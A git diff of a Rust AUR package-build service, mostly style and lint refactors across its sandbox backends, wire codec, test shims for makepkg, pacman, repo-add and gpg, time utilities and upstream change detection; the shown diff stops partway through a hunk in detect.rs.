diff --git a/src/sandbox/loopback.rs b/src/sandbox/loopback.rs
index 64875c6..fb97660 100644
--- a/src/sandbox/loopback.rs
+++ b/src/sandbox/loopback.rs
@@ -12,7 +12,7 @@ use crate::sandbox::{Cmd, Exit, Sandbox, SandboxBackend, SandboxInfo, SandboxSpe
/// only way to reach it, and the alias is what carries the
/// feature-conditional visibility.
mod loopback_backend {
- use super::*;
+ use super::Config;
// `pub` fields inside a private module are not nameable from
// outside; they stay readable by the impls below.
@@ -42,18 +42,11 @@ impl SandboxBackend for LoopbackBackend {
fn acquire(&self, spec: &SandboxSpec) -> Result<Arc<dyn Sandbox>> {
let blobs = blob_root(&self.cfg).join(safe_name(&spec.task));
fs::create_dir_all(&blobs)?;
- Ok(Arc::new(LoopbackSandbox {
- id: format!("loopback:{}", spec.task),
- blobs,
- cfg: self.cfg.clone(),
- }))
+ Ok(Arc::new(LoopbackSandbox { id: format!("loopback:{}", spec.task), blobs, cfg: self.cfg.clone() }))
}
fn status(&self) -> Result<Vec<SandboxInfo>> {
- Ok(vec![SandboxInfo {
- id: "loopback".into(),
- profile: self.cfg.build_profile.clone(),
- }])
+ Ok(vec![SandboxInfo { id: "loopback".into(), profile: self.cfg.build_profile.clone() }])
}
}
diff --git a/src/sandbox/mod.rs b/src/sandbox/mod.rs
index bb6ab60..1c73e40 100644
--- a/src/sandbox/mod.rs
+++ b/src/sandbox/mod.rs
@@ -35,7 +35,7 @@ impl Cmd {
self
}
pub fn name(&self) -> &str {
- self.argv.first().map(String::as_str).unwrap_or("")
+ self.argv.first().map_or("", String::as_str)
}
}
@@ -134,7 +134,7 @@ fn bound_listener(addr: &str, token: &str) -> Result<Bound> {
let key = (addr.to_string(), token.to_string());
// A poisoned registry means a panic in another thread's bind; the map is
// still sound, so recover rather than wedge every later build.
- let mut reg = registry.lock().unwrap_or_else(|p| p.into_inner());
+ let mut reg = registry.lock().unwrap_or_else(std::sync::PoisonError::into_inner);
if let Some(b) = reg.get(&key) {
return Ok(b.clone());
}
diff --git a/src/sandbox/remote.rs b/src/sandbox/remote.rs
index 8366e97..f881eb0 100644
--- a/src/sandbox/remote.rs
+++ b/src/sandbox/remote.rs
@@ -14,7 +14,7 @@ use crate::sandbox::{Exit, Sandbox, SandboxBackend, SandboxInfo, SandboxSpec};
/// only way to reach it, and the alias is what carries the
/// feature-conditional visibility.
mod remote_backend {
- use super::*;
+ use super::{Config, Receiver};
// `pub` fields inside a private module are not nameable from
// outside; they stay readable by the impls below.
@@ -61,20 +61,16 @@ impl RemoteBackend {
impl SandboxBackend for RemoteBackend {
fn acquire(&self, spec: &SandboxSpec) -> Result<Arc<dyn Sandbox>> {
- let stream = self.queue.recv_timeout(spec.ttl).map_err(|_| {
- Error::other(format!(
- "no sandbox connected to {} within the lease window",
- self.addr
- ))
- })?;
+ let stream = self
+ .queue
+ .recv_timeout(spec.ttl)
+ .map_err(|_| Error::other(format!("no sandbox connected to {} within the lease window", self.addr)))?;
let _ = stream.set_read_timeout(Some(spec.ttl));
let mut reader = BufReader::new(stream.try_clone()?);
let agent_id = match wire::read_frame(&mut reader)? {
Some(Frame::Hello { token, agent_id, profiles }) => {
if token != self.token {
- return Err(Error::fail_closed(format!(
- "sandbox {agent_id} presented the wrong token"
- )));
+ return Err(Error::fail_closed(format!("sandbox {agent_id} presented the wrong token")));
}
if !profiles.is_empty() && !profiles.contains(&spec.profile) {
return Err(Error::fail_closed(format!(
@@ -89,16 +85,11 @@ impl SandboxBackend for RemoteBackend {
};
wire::write_frame(&mut stream.try_clone()?, &Frame::HelloAck { ttl_secs: spec.ttl.as_secs().max(1) })?;
let _ = stream.set_read_timeout(None);
- Ok(Arc::new(RemoteSandbox::after_hello(
- &self.cfg, stream, agent_id, spec.ttl,
- )))
+ Ok(Arc::new(RemoteSandbox::after_hello(&self.cfg, stream, agent_id, spec.ttl)))
}
fn status(&self) -> Result<Vec<SandboxInfo>> {
- Ok(vec![SandboxInfo {
- id: format!("remote@{}", self.addr),
- profile: self.cfg.build_profile.clone(),
- }])
+ Ok(vec![SandboxInfo { id: format!("remote@{}", self.addr), profile: self.cfg.build_profile.clone() }])
}
}
@@ -112,10 +103,13 @@ pub(crate) struct RemoteSandbox {
}
impl RemoteSandbox {
- pub(crate) fn after_hello(cfg: &Config, stream: std::net::TcpStream, agent_id: String, ttl: std::time::Duration) -> Self {
- let reader = BufReader::new(
- stream.try_clone().expect("cloning a connected tcp stream cannot fail"),
- );
+ pub(crate) fn after_hello(
+ cfg: &Config,
+ stream: std::net::TcpStream,
+ agent_id: String,
+ ttl: std::time::Duration,
+ ) -> Self {
+ let reader = BufReader::new(stream.try_clone().expect("cloning a connected tcp stream cannot fail"));
Self {
cfg: cfg.clone(),
id: agent_id,
@@ -132,9 +126,8 @@ impl RemoteSandbox {
fn pump(&self, req: u64, sink: &mut dyn FnMut(&str, &[u8])) -> Result<Frame> {
loop {
- let frame = match wire::read_frame(&mut *self.reader.lock().unwrap())? {
- Some(f) => f,
- None => return Err(Error::other(format!("sandbox {} vanished", self.id))),
+ let Some(frame) = wire::read_frame(&mut *self.reader.lock().unwrap())? else {
+ return Err(Error::other(format!("sandbox {} vanished", self.id)));
};
match frame {
Frame::Log { req: r, ref stream, ref data } if r == req => {
diff --git a/src/sandbox/wire.rs b/src/sandbox/wire.rs
index 4ae1ec0..75fc0a5 100644
--- a/src/sandbox/wire.rs
+++ b/src/sandbox/wire.rs
@@ -36,8 +36,7 @@ pub(crate) enum Frame {
}
pub(crate) fn write_frame(w: &mut impl Write, f: &Frame) -> io::Result<()> {
- let body = serde_json::to_vec(f)
- .map_err(|e| io::Error::new(io::ErrorKind::InvalidData, e))?;
+ let body = serde_json::to_vec(f).map_err(|e| io::Error::new(io::ErrorKind::InvalidData, e))?;
if body.len() as u64 > MAX_FRAME_BYTES as u64 {
return Err(io::Error::new(io::ErrorKind::InvalidInput, "frame too large"));
}
@@ -59,8 +58,7 @@ pub(crate) fn read_frame(r: &mut impl BufRead) -> io::Result<Option<Frame>> {
}
let mut body = vec![0u8; n];
r.read_exact(&mut body)?;
- let f: Frame = serde_json::from_slice(&body)
- .map_err(|e| io::Error::new(io::ErrorKind::InvalidData, e))?;
+ let f: Frame = serde_json::from_slice(&body).map_err(|e| io::Error::new(io::ErrorKind::InvalidData, e))?;
Ok(Some(f))
}
@@ -79,7 +77,8 @@ mod tests {
#[test]
fn frames_round_trip_through_a_byte_stream() {
let mut buf = Vec::new();
- write_frame(&mut buf, &Frame::Hello { token: "t".into(), agent_id: "a".into(), profiles: vec!["p".into()] }).unwrap();
+ write_frame(&mut buf, &Frame::Hello { token: "t".into(), agent_id: "a".into(), profiles: vec!["p".into()] })
+ .unwrap();
write_frame(&mut buf, &Frame::Log { req: 7, stream: "stdout".into(), data: hex_bytes(b"hello") }).unwrap();
write_frame(&mut buf, &Frame::Exit { req: 7, code: Some(0) }).unwrap();
let mut cur = std::io::BufReader::new(std::io::Cursor::new(buf));
diff --git a/src/shims/mod.rs b/src/shims/mod.rs
index a918515..b605229 100644
--- a/src/shims/mod.rs
+++ b/src/shims/mod.rs
@@ -1,3 +1,4 @@
+use std::fmt::Write as _;
use std::path::{Path, PathBuf};
use serde::{Deserialize, Serialize};
@@ -114,20 +115,15 @@ fn manifest_impl() -> Manifest {
/// Called by `run` to log the invocation; nothing outside `shims` records a shim call.
fn record(tool: &str, args: &[String]) {
- let dir = match std::env::var("AUR_SHIM_DIR") {
- Ok(d) => d,
- Err(_) => return,
- };
+ let Ok(dir) = std::env::var("AUR_SHIM_DIR") else { return };
let _ = std::fs::create_dir_all(&dir);
let entry = serde_json::json!({
"tool": tool,
"args": args,
- "cwd": std::env::current_dir().map(|p| p.display().to_string()).unwrap_or_default(),
+ "cwd": std::env::current_dir().map_or_default(|p| p.display().to_string()),
});
- if let Ok(mut f) = std::fs::OpenOptions::new()
- .create(true)
- .append(true)
- .open(Path::new(&dir).join("invocations.jsonl"))
+ if let Ok(mut f) =
+ std::fs::OpenOptions::new().create(true).append(true).open(Path::new(&dir).join("invocations.jsonl"))
{
use std::io::Write;
let _ = f.write_all(format!("{entry}\n").as_bytes());
@@ -145,7 +141,7 @@ fn kill_parent_if_asked(tool: &str) {
}
fn forced_fail(tool: &str) -> bool {
- std::env::var("AUR_SHIM_FAIL").map(|v| v == tool).unwrap_or(false)
+ std::env::var("AUR_SHIM_FAIL").is_ok_and(|v| v == tool)
}
/// Read back the shim's invocation log.
@@ -159,10 +155,7 @@ fn forced_fail(tool: &str) -> bool {
pub fn invocations(dir: &Path) -> Vec<serde_json::Value> {
let path = dir.join("invocations.jsonl");
match std::fs::read_to_string(path) {
- Ok(s) => s
- .lines()
- .filter_map(|l| serde_json::from_str(l).ok())
- .collect(),
+ Ok(s) => s.lines().filter_map(|l| serde_json::from_str(l).ok()).collect(),
Err(_) => Vec::new(),
}
}
@@ -179,10 +172,7 @@ pub fn called_with(dir: &Path, tool: &str, needle: &str) -> usize {
.iter()
.filter(|e| e["tool"] == tool)
.filter(|e| {
- e["args"]
- .as_array()
- .map(|a| a.iter().any(|v| v.as_str().is_some_and(|s| s.contains(needle))))
- .unwrap_or(false)
+ e["args"].as_array().is_some_and(|a| a.iter().any(|v| v.as_str().is_some_and(|s| s.contains(needle))))
})
.count()
}
@@ -257,13 +247,12 @@ fn emit_packages(m: &Manifest, tool: &str, wants_sig: bool) -> Result<i32, Strin
}
let startdir = std::env::current_dir().map_err(|e| e.to_string())?;
if !startdir.join("PKGBUILD").exists() {
- let found = std::fs::read_dir(&startdir)
- .map(|rd| rd.filter_map(|e| e.ok()).map(|e| e.file_name().to_string_lossy().into_owned()).collect::<Vec<_>>())
- .unwrap_or_default();
- return Err(format!(
- "{tool}: no PKGBUILD in {} (contains {found:?})",
- startdir.display()
- ));
+ let found = std::fs::read_dir(&startdir).map_or_default(|rd| {
+ rd.filter_map(std::result::Result::ok)
+ .map(|e| e.file_name().to_string_lossy().into_owned())
+ .collect::<Vec<_>>()
+ });
+ return Err(format!("{tool}: no PKGBUILD in {} (contains {found:?})", startdir.display()));
}
let pkgs = packages_to_emit(m, &startdir);
for p in &pkgs {
@@ -290,7 +279,7 @@ fn plant_link_if_asked(startdir: &Path) {
{
let _ = std::fs::remove_file(&link);
if let Err(e) = std::os::unix::fs::symlink(&target, &link) {
- eprintln!("shim: could not plant {link:?} -> {target}: {e}");
+ eprintln!("shim: could not plant {} -> {target}: {e}", link.display());
}
}
}
@@ -327,10 +316,8 @@ fn write_package(dir: &Path, p: &FakePackage, m: &Manifest) -> Result<PathBuf, S
let (pkgver, pkgrel) = p.split_version();
let filename = format!("{}-{}-{}.pkg.tar.zst", p.name, p.version, p.arch);
let path = dir.join(&filename);
- let enc = zstd::Encoder::new(std::io::BufWriter::new(
- std::fs::File::create(&path).map_err(|e| e.to_string())?,
- ), 3)
- .map_err(|e| e.to_string())?;
+ let enc = zstd::Encoder::new(std::io::BufWriter::new(std::fs::File::create(&path).map_err(|e| e.to_string())?), 3)
+ .map_err(|e| e.to_string())?;
let mut ar = tar::Builder::new(enc);
// NOTE: the zstd frame must be finished explicitly or the archive is a
// truncated stream that nothing can read back.
@@ -359,35 +346,35 @@ fn write_entry<W: std::io::Write>(ar: &mut tar::Builder<W>, path: &str, body: &[
fn pkginfo(p: &FakePackage, pkgver: &str, pkgrel: &str) -> String {
let mut s = String::new();
- s.push_str(&format!("pkgname = {}\n", p.name));
- s.push_str(&format!("pkgbase = {}\n", p.name));
- s.push_str(&format!("pkgver = {pkgver}-{pkgrel}\n"));
- s.push_str(&format!("pkgarch = {}\n", p.arch));
- s.push_str(&format!("pkgdesc = {}\n", p.desc));
- s.push_str(&format!("url = {}\n", p.url));
+ let _ = writeln!(s, "pkgname = {}", p.name);
+ let _ = writeln!(s, "pkgbase = {}", p.name);
+ let _ = writeln!(s, "pkgver = {pkgver}-{pkgrel}");
+ let _ = writeln!(s, "pkgarch = {}", p.arch);
+ let _ = writeln!(s, "pkgdesc = {}", p.desc);
+ let _ = writeln!(s, "url = {}", p.url);
s.push_str("builddate = 1700000000\n");
s.push_str("packager = shim <shim@example.invalid>\n");
s.push_str("size = 42\n");
for l in &p.license {
- s.push_str(&format!("license = {l}\n"));
+ let _ = writeln!(s, "license = {l}");
}
for d in &p.depends {
- s.push_str(&format!("depend = {d}\n"));
+ let _ = writeln!(s, "depend = {d}");
}
for d in &p.makedepends {
- s.push_str(&format!("makedepend = {d}\n"));
+ let _ = writeln!(s, "makedepend = {d}");
}
for d in &p.checkdepends {
- s.push_str(&format!("checkdepend = {d}\n"));
+ let _ = writeln!(s, "checkdepend = {d}");
}
for d in &p.provides {
- s.push_str(&format!("provides = {d}\n"));
+ let _ = writeln!(s, "provides = {d}");
}
for d in &p.conflicts {
- s.push_str(&format!("conflicts = {d}\n"));
+ let _ = writeln!(s, "conflicts = {d}");
}
for b in &p.backup {
- s.push_str(&format!("backup = {b}\n"));
+ let _ = writeln!(s, "backup = {b}");
}
s
}
@@ -395,16 +382,16 @@ fn pkginfo(p: &FakePackage, pkgver: &str, pkgrel: &str) -> String {
fn buildinfo(p: &FakePackage, pkgver: &str, pkgrel: &str, m: &Manifest) -> String {
let mut s = String::new();
s.push_str("format = 2\n");
- s.push_str(&format!("pkgname = {}\n", p.name));
- s.push_str(&format!("pkgbase = {}\n", p.name));
- s.push_str(&format!("pkgver = {pkgver}-{pkgrel}\n"));
- s.push_str(&format!("pkgarch = {}\n", p.arch));
+ let _ = writeln!(s, "pkgname = {}", p.name);
+ let _ = writeln!(s, "pkgbase = {}", p.name);
+ let _ = writeln!(s, "pkgver = {pkgver}-{pkgrel}");
+ let _ = writeln!(s, "pkgarch = {}", p.arch);
s.push_str("packager = shim <shim@example.invalid>\n");
s.push_str("builddate = 1700000000\n");
s.push_str("buildenv = (!debug !strip)\n");
s.push_str("installed =\n");
for i in &m.installed {
- s.push_str(&format!(" {} {} {} -\n", i.name, i.version, if i.arch.is_empty() { "any" } else { &i.arch }));
+ let _ = writeln!(s, " {} {} {} -", i.name, i.version, if i.arch.is_empty() { "any" } else { &i.arch });
}
s
}
@@ -428,26 +415,26 @@ fn makepkg(args: &[String], m: &Manifest) -> Result<i32, String> {
if let Some(si) = r.srcinfo {
s = si;
} else {
- s.push_str(&format!("pkgbase = {}\n", r.pkgbase));
- s.push_str(&format!("\tpkgver = {}\n", r.pkgver));
- s.push_str(&format!("\tpkgrel = {}\n", r.pkgrel));
+ let _ = writeln!(s, "pkgbase = {}", r.pkgbase);
+ let _ = writeln!(s, "\tpkgver = {}", r.pkgver);
+ let _ = writeln!(s, "\tpkgrel = {}", r.pkgrel);
if r.epoch != "0" {
- s.push_str(&format!("\tepoch = {}\n", r.epoch));
+ let _ = writeln!(s, "\tepoch = {}", r.epoch);
}
for a in &r.arch {
- s.push_str(&format!("\tarch = {a}\n"));
+ let _ = writeln!(s, "\tarch = {a}");
}
for d in &r.depends {
- s.push_str(&format!("\tdepends = {d}\n"));
+ let _ = writeln!(s, "\tdepends = {d}");
}
for src in &r.source {
- s.push_str(&format!("\tsource = {src}\n"));
+ let _ = writeln!(s, "\tsource = {src}");
}
for c in &r.sha256sums {
- s.push_str(&format!("\tsha256sums = {c}\n"));
+ let _ = writeln!(s, "\tsha256sums = {c}");
}
for n in &r.pkgnames {
- s.push_str(&format!("pkgname = {n}\n"));
+ let _ = writeln!(s, "pkgname = {n}");
}
}
print!("{s}");
@@ -468,15 +455,11 @@ fn pacman(args: &[String]) -> Result<i32, String> {
if args.iter().any(|a| a == "-U") {
for path in args.iter().filter(|a| !a.starts_with('-')) {
let p = std::path::Path::new(path);
- let claimed = p
- .file_name()
- .and_then(|s| s.to_str())
- .ok_or_else(|| format!("pacman: bad blob path {path}"))?;
+ let claimed =
+ p.file_name().and_then(|s| s.to_str()).ok_or_else(|| format!("pacman: bad blob path {path}"))?;
let bytes = std::fs::read(p).map_err(|e| format!("pacman: {path}: {e}"))?;
if crate::hash::hex(&bytes) != claimed {
- return Err(format!(
- "pacman: {claimed} does not hash to the digest its name claims"
- ));
+ return Err(format!("pacman: {claimed} does not hash to the digest its name claims"));
}
let pkginfo = crate::pkginfo::pkginfo_text(&bytes)?;
let info = crate::pkginfo::parse_pkginfo(&pkginfo);
@@ -505,13 +488,7 @@ fn installed_db() -> Option<std::path::PathBuf> {
std::env::var("AUR_SHIM_DIR").ok().map(|d| std::path::Path::new(&d).join("installed.txt"))
}
-const DB_SUFFIXES: [&str; 5] = [
- ".db.tar",
- ".db.tar.gz",
- ".db.tar.zst",
- ".db.tar.bz2",
- ".db.tar.xz",
-];
+const DB_SUFFIXES: [&str; 5] = [".db.tar", ".db.tar.gz", ".db.tar.zst", ".db.tar.bz2", ".db.tar.xz"];
/// The shim validates its own `--db` argument; tests check the verdicts.
///
@@ -528,14 +505,8 @@ fn valid_db_arg(p: &Path) -> bool {
}
fn valid_db_arg_impl(p: &Path) -> bool {
- let name = p
- .file_name()
- .map(|s| s.to_string_lossy().into_owned())
- .unwrap_or_default();
- !name.is_empty()
- && DB_SUFFIXES
- .iter()
- .any(|sfx| name.ends_with(sfx))
+ let name = p.file_name().map_or_default(|s| s.to_string_lossy().into_owned());
+ !name.is_empty() && DB_SUFFIXES.iter().any(|sfx| name.ends_with(sfx))
}
fn repo_add(args: &[String], _m: &Manifest) -> Result<i32, String> {
@@ -559,10 +530,7 @@ fn repo_add(args: &[String], _m: &Manifest) -> Result<i32, String> {
None => return Err("repo-add: no database given".into()),
};
if !valid_db_arg(&db_path) {
- eprintln!(
- "==> ERROR: '{}' does not have a valid database archive extension.",
- db_path.display()
- );
+ eprintln!("==> ERROR: '{}' does not have a valid database archive extension.", db_path.display());
return Ok(1);
}
let mut ar = tar::Builder::new(Vec::new());
@@ -571,30 +539,28 @@ fn repo_add(args: &[String], _m: &Manifest) -> Result<i32, String> {
let pkginfo = crate::pkginfo::pkginfo_text(&bytes)?;
let (name, version, arch, extra) = pkginfo_fields(&bytes)?;
let mut entry = String::new();
- entry.push_str(&format!("%FILENAME%\n{}\n\n", pkg.file_name().unwrap().to_string_lossy()));
- entry.push_str(&format!("%NAME%\n{name}\n\n"));
- entry.push_str(&format!("%BASE%\n{name}\n\n"));
- entry.push_str(&format!("%VERSION%\n{version}\n\n"));
- entry.push_str(&format!("%ARCH%\n{arch}\n\n"));
- entry.push_str(&format!("%CSIZE%\n{}\n\n", bytes.len()));
+ let _ = write!(entry, "%FILENAME%\n{}\n\n", pkg.file_name().unwrap().to_string_lossy());
+ let _ = write!(entry, "%NAME%\n{name}\n\n");
+ let _ = write!(entry, "%BASE%\n{name}\n\n");
+ let _ = write!(entry, "%VERSION%\n{version}\n\n");
+ let _ = write!(entry, "%ARCH%\n{arch}\n\n");
+ let _ = write!(entry, "%CSIZE%\n{}\n\n", bytes.len());
entry.push_str("%DSIZE%\n42\n\n");
- entry.push_str(&format!("%MD5SUM%\n{}\n\n", hash::hex(&bytes)));
- entry.push_str(&format!("%SHA256SUM%\n{}\n\n", hash::hex(&bytes)));
+ let _ = write!(entry, "%MD5SUM%\n{}\n\n", hash::hex(&bytes));
+ let _ = write!(entry, "%SHA256SUM%\n{}\n\n", hash::hex(&bytes));
if !extra.is_empty() {
- entry.push_str(&format!("{extra}\n"));
+ let _ = writeln!(entry, "{extra}");
}
let mut h = tar::Header::new_gnu();
h.set_size(entry.len() as u64);
h.set_mode(0o644);
h.set_mtime(0);
- ar.append_data(&mut h, format!("{name}/DESC"), entry.as_bytes())
- .map_err(|e| e.to_string())?;
+ ar.append_data(&mut h, format!("{name}/DESC"), entry.as_bytes()).map_err(|e| e.to_string())?;
let mut h2 = tar::Header::new_gnu();
h2.set_size(pkginfo.len() as u64);
h2.set_mode(0o644);
h2.set_mtime(0);
- ar.append_data(&mut h2, format!("{name}/.PKGINFO"), pkginfo.as_bytes())
- .map_err(|e| e.to_string())?;
+ ar.append_data(&mut h2, format!("{name}/.PKGINFO"), pkginfo.as_bytes()).map_err(|e| e.to_string())?;
}
let tar = ar.into_inner().map_err(|e| e.to_string())?;
let mut enc = flate2::write::GzEncoder::new(
@@ -615,10 +581,16 @@ fn pkginfo_fields(pkg_bytes: &[u8]) -> Result<(String, String, String, String),
{
let mut push = |tag: &str, vals: &[String]| {
if !vals.is_empty() {
- extra.push_str(&format!("{tag}\n{}\n\n", vals.join("\n")));
+ let _ = write!(extra, "{tag}\n{}\n\n", vals.join("\n"));
+ }
+ };
+ let one = |s: &str| -> Vec<String> {
+ if s.is_empty() {
+ vec![]
+ } else {
+ vec![s.to_string()]
}
};
- let one = |s: &str| -> Vec<String> { if s.is_empty() { vec![] } else { vec![s.to_string()] } };
push("%DESC%", &one(&info.desc));
push("%URL%", &one(&info.url));
push("%LICENSE%", &info.license);
@@ -634,16 +606,9 @@ fn pkginfo_fields(pkg_bytes: &[u8]) -> Result<(String, String, String, String),
/// Reached only through `run`, which matches the tool name to it. The tool name appears in test strings, which is not a caller.
fn gpg(args: &[String]) -> Result<i32, String> {
- let out = args
- .iter()
- .position(|a| a == "--output" || a == "-o")
- .and_then(|i| args.get(i + 1))
- .cloned();
+ let out = args.iter().position(|a| a == "--output" || a == "-o").and_then(|i| args.get(i + 1)).cloned();
let target = args.iter().rev().find(|a| !a.starts_with('-') && Some(*a) != out.as_ref());
- let target = match target {
- Some(t) => t,
- None => return Err("gpg: nothing to sign".into()),
- };
+ let Some(target) = target else { return Err("gpg: nothing to sign".into()) };
let bytes = std::fs::read(target).map_err(|e| format!("gpg: {target}: {e}"))?;
let sig = match out {
Some(o) => o,
diff --git a/src/time.rs b/src/time.rs
index b0ab4ab..4abb3f9 100644
--- a/src/time.rs
+++ b/src/time.rs
@@ -59,14 +59,9 @@ pub fn unpin() {
}
pub fn parse(ts: &str) -> Option<DateTime<Utc>> {
- DateTime::parse_from_rfc3339(ts)
- .ok()
- .map(|d| d.with_timezone(&Utc))
- .or_else(|| {
- chrono::NaiveDateTime::parse_from_str(ts, "%Y-%m-%d %H:%M:%S")
- .ok()
- .map(|n| Utc.from_utc_datetime(&n))
- })
+ DateTime::parse_from_rfc3339(ts).ok().map(|d| d.with_timezone(&Utc)).or_else(|| {
+ chrono::NaiveDateTime::parse_from_str(ts, "%Y-%m-%d %H:%M:%S").ok().map(|n| Utc.from_utc_datetime(&n))
+ })
}
pub fn delta_secs(a: &str, b: &str) -> Option<i64> {
@@ -132,7 +127,7 @@ pub fn virtualize() -> clock::VirtualClock {
#[cfg(feature = "test-support")]
mod clock {
- use super::*;
+ use super::{DateTime, Utc};
use std::cell::Cell;
use std::sync::{Mutex, MutexGuard};
@@ -143,7 +138,7 @@ mod clock {
static AT: Mutex<Option<DateTime<Utc>>> = Mutex::new(None);
static OWNER: Mutex<()> = Mutex::new(());
-// VirtualClock stays `pub`: lives in the `test-support`-gated clock module, behind the gated `virtualize()` that returns it.
+ // VirtualClock stays `pub`: lives in the `test-support`-gated clock module, behind the gated `virtualize()` that returns it.
pub struct VirtualClock {
// Held, never read: owning the mutex *is* the virtual clock's lease,
// and dropping this guard is what releases it.
@@ -151,7 +146,7 @@ mod clock {
}
pub fn virtualize() -> VirtualClock {
- let owner = OWNER.lock().unwrap_or_else(|e| e.into_inner());
+ let owner = OWNER.lock().unwrap_or_else(std::sync::PoisonError::into_inner);
*lock(&AT) = Some(Utc::now());
ON.set(true);
VirtualClock { _owner: owner }
@@ -165,7 +160,7 @@ mod clock {
}
fn lock<T>(m: &Mutex<T>) -> std::sync::MutexGuard<'_, T> {
- m.lock().unwrap_or_else(|e| e.into_inner())
+ m.lock().unwrap_or_else(std::sync::PoisonError::into_inner)
}
pub fn now() -> Option<DateTime<Utc>> {
diff --git a/src/urlutil.rs b/src/urlutil.rs
index 12f74e5..26677c3 100644
--- a/src/urlutil.rs
+++ b/src/urlutil.rs
@@ -10,7 +10,7 @@ fn host_of(source: &str) -> Option<String> {
}
pub fn hosts(sources: &[String]) -> BTreeSet<String> {
- sources.iter().map(|s| s.as_str()).filter_map(host_of).collect()
+ sources.iter().map(std::string::String::as_str).filter_map(host_of).collect()
}
#[cfg(test)]
@@ -25,10 +25,7 @@ mod tests {
#[test]
fn scheme_and_filename_prefixes_are_stripped() {
assert_eq!(host_of("git+https://github.com/a/b.git").as_deref(), Some("github.com"));
- assert_eq!(
- host_of("myname::https://cdn.example.org/x.tar").as_deref(),
- Some("cdn.example.org")
- );
+ assert_eq!(host_of("myname::https://cdn.example.org/x.tar").as_deref(), Some("cdn.example.org"));
assert_eq!(
host_of("myname::git+ssh://git@gitlab.example.org/a/b.git").as_deref(),
Some("gitlab.example.org"),
diff --git a/src/usecase/builds.rs b/src/usecase/builds.rs
index c947742..265e6cb 100644
--- a/src/usecase/builds.rs
+++ b/src/usecase/builds.rs
@@ -29,15 +29,7 @@ pub fn cancel(db: &Db, build_id: &str) -> Result<()> {
/// what the audit trail is there to rule out.
pub fn retry(db: &Db, actor: &str, build_id: &str) -> Result<()> {
builds::retry(db, build_id)?;
- db::audit(
- &db.writer,
- actor,
- actor,
- "build.retry",
- "build",
- build_id,
- serde_json::json!({}),
- )
+ db::audit(&db.writer, actor, actor, "build.retry", "build", build_id, serde_json::json!({}))
}
/// Take a package out of the repository index.
diff --git a/src/usecase/mod.rs b/src/usecase/mod.rs
index 4a7a0a9..288d71d 100644
--- a/src/usecase/mod.rs
+++ b/src/usecase/mod.rs
@@ -26,10 +26,7 @@ mod subscriptions;
pub use bootstrap::{init, open, serve};
pub use builds::{cancel, enqueue_candidate, manual_rebuild, retry, withdraw_package};
+pub use detect::{check, detect, Checked};
pub use maintenance::{acknowledge_notice, backup, plan_gc, run_gc, GcPlan};
-pub use reviews::{
- approve, bulk, prepare_review, reject, view_review, Approval, Approved, Decision,
- Prepared,
-};
+pub use reviews::{approve, bulk, prepare_review, reject, view_review, Approval, Approved, Decision, Prepared};
pub use subscriptions::{subscribe, toggle_pause, unsubscribe, Pause, Subscribe};
-pub use detect::{check, detect, Checked};
diff --git a/src/watch/detect.rs b/src/watch/detect.rs
index 1c72131..d51ca03 100644
--- a/src/watch/detect.rs
+++ b/src/watch/detect.rs
@@ -1,5 +1,8 @@
use crate::config::Config;
-use crate::db::{self, *};
+use crate::db::{
+ self, get_pkgbase, notice_kind, Db, Identity, Pkgbase, Recipe, ReleaseRow, SourceDigest, SubscriptionState,
+ UpstreamPin,
+};
use crate::error::{Missing, Result};
use crate::pkgver;
use crate::recipe::recipe_from_tree;
@@ -31,10 +34,10 @@ pub struct CheckReport {
}
pub fn check_pkgbase(cfg: &Config, db: &Db, name: &str) -> Result<CheckReport> {
- let pb = get_pkgbase(db, name)?
- .ok_or_else(|| crate::error::Error::not_found(Missing::Pkgbase(name.to_string())))?;
+ let pb =
+ get_pkgbase(db, name)?.ok_or_else(|| crate::error::Error::not_found(Missing::Pkgbase(name.to_string())))?;
let sub = db::get_subscription(db, name)?;
- let paused = sub.as_ref().map(|s| s.state == SubscriptionState::Paused).unwrap_or(false);
+ let paused = sub.as_ref().is_some_and(|s| s.state == SubscriptionState::Paused);
if paused {
return Ok(CheckReport { pkgbase: name.into(), head: String::new(), outcome: Outcome::Paused });
}
@@ -46,7 +49,7 @@ pub fn check_pkgbase(cfg: &Config, db: &Db, name: &str) -> Result<CheckReport> {
pb.id,
notice_kind::DELETED,
"high",
- serde_json::json!({"aur_url": pb.aur_url, "note": "repository no longer exists"}),
+ &serde_json::json!({"aur_url": pb.aur_url, "note": "repository no longer exists"}),
)?;
db::set_subscription_state(&db.writer, name, SubscriptionState::Orphaned)?;
return Ok(CheckReport { pkgbase: name.into(), head: String::new(), outcome: Outcome::Gone });
@@ -77,12 +80,9 @@ fn analyse(cfg: &Config, db: &Db, pb: &Pkgbase, head: &str) -> Result<CheckRepor
pb.id,
notice_kind::DELETED,
"high",
- serde_json::json!({"mirror_divergence": a.aur_commit}),
+ &serde_json::json!({"mirror_divergence": a.aur_commit}),
)?;
- return Ok(report(Outcome::Blocked(format!(
- "accepted pin {} missing from local mirror",
- a.aur_commit
- ))));
+ return Ok(report(Outcome::Blocked(format!("accepted pin {} missing from local mirror", a.aur_commit))));
}
}
@@ -90,13 +90,9 @@ fn analyse(cfg: &Config, db: &Db, pb: &Pkgbase, head: &str) -> Result<CheckRepor
let recipe = recipe_from_tree(&tree.files)?;
let recipe_hash = tree.recipe_hash();
- let has_vcs = recipe.source_entries.iter().any(|e| e.is_vcs());
- let accepted_pins: Vec<UpstreamPin> = accepted.as_ref().map(|a| a.pins()).unwrap_or_default();
- let stage_a = if has_vcs {
- Some(crate::watch::upstream::probe(&recipe, &accepted_pins)?)
- } else {
- None
- };
+ let has_vcs = recipe.source_entries.iter().any(super::super::db::model::SourceEntry::is_vcs);
+ let accepted_pins: Vec<UpstreamPin> = accepted.as_ref().map_or_default(super::super::db::model::ReleaseRow::pins);
+ let stage_a = if has_vcs { Some(crate::watch::upstream::probe(&recipe, &accepted_pins)?) } else { None };
let resolved = if !has_vcs {
None
} else if stage_a.as_ref().unwrap().needs_stage_b() {
@@ -124,14 +120,8 @@ fn analyse(cfg: &Config, db: &Db, pb: &Pkgbase, head: &str) -> Result<CheckRepor
source_digests: digests.clone(),
};
let identity_hash = identity.hash()?;
- let snap_id = db::put_snapshot(
- &db.writer,
- pb.id,
- head,
- &recipe_hash,
- &serde_json::to_string(&recipe)?,
- &tree.json_list(),
- )?;
+ let snap_id =
+ db::put_snapshot(&db.writer, pb.id, head, &recipe_hash, &serde_json::to_string(&recipe)?, &tree.json_list())?;
let nc = NewCandidate {
snapshot_id: snap_id,
@@ -171,7 +161,7 @@ fn analyse(cfg: &Config, db: &Db, pb: &Pkgbase, head: &str) -> Result<CheckRepor
pb.id,
